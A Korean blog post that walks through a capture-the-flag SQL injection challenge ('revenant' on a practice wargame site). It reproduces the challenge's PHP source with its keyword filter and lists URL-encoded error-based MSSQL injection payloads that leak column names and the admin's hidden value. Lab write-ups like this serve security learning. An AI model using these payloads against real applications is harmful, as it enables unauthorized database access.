웹찢남

revenant-writeup 본문

WEB_HACKING/los.rubiya.kr

revenant-writeup

harry595 2020. 1. 30. 22:44

<?php
  
include "./config.php";
  
login_chk();
  
$db mssql_connect();
  if(
preg_match('/master|sys|information|prob|;|waitfor|_/i'$_GET['id'])) exit("No Hack ~_~");
  if(
preg_match('/master|sys|information|prob|;|waitfor|_/i'$_GET['pw'])) exit("No Hack ~_~");
  
$query "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
sqlsrv_query($db,$query);
  if(
sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  
$query "select * from prob_revenant where id='admin'"
  
$result sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if(
$result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  
highlight_file(__FILE__);
?>

 

이번 문제는 다섯번쨰 column 값을 얻어야한단다.

group by를 사용해 에러를 만들면 뚝딱!

 

?id=admin&pw=%27%20group%20by%20pw%20--%20

다음 column이 나온다!! group by 뒤에 나온 column을 하나씩 추가하다 보면 결국

 

?id=admin&pw=%27%20group%20by%20id,pw,"45a88487","13477a35"%20--%20

5번째 column이 나오게 되고 지난 문제와 같이 값을 얻어보면?

?id=admin&pw=%27%20or%20"9604b0c8">1--%20

 

값이 나온다! 근데 답이 아니어서 생각을 해보니 admin의 값이 아니어서 CLEAR가 안되는거 같아 쿼리를 바꿔보니?

?id=admin&pw=%27%20or%20id=%27admin%27%20and%20"9604b0c8">1--%20

CLEAR!!!

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

mummy-writeup  (0) 2020.01.31
yeti-writeup  (0) 2020.01.31
Nessie-writeup  (0) 2020.01.30
poltergeist-writeup  (0) 2020.01.30
banshee-writeup  (0) 2020.01.30
Comments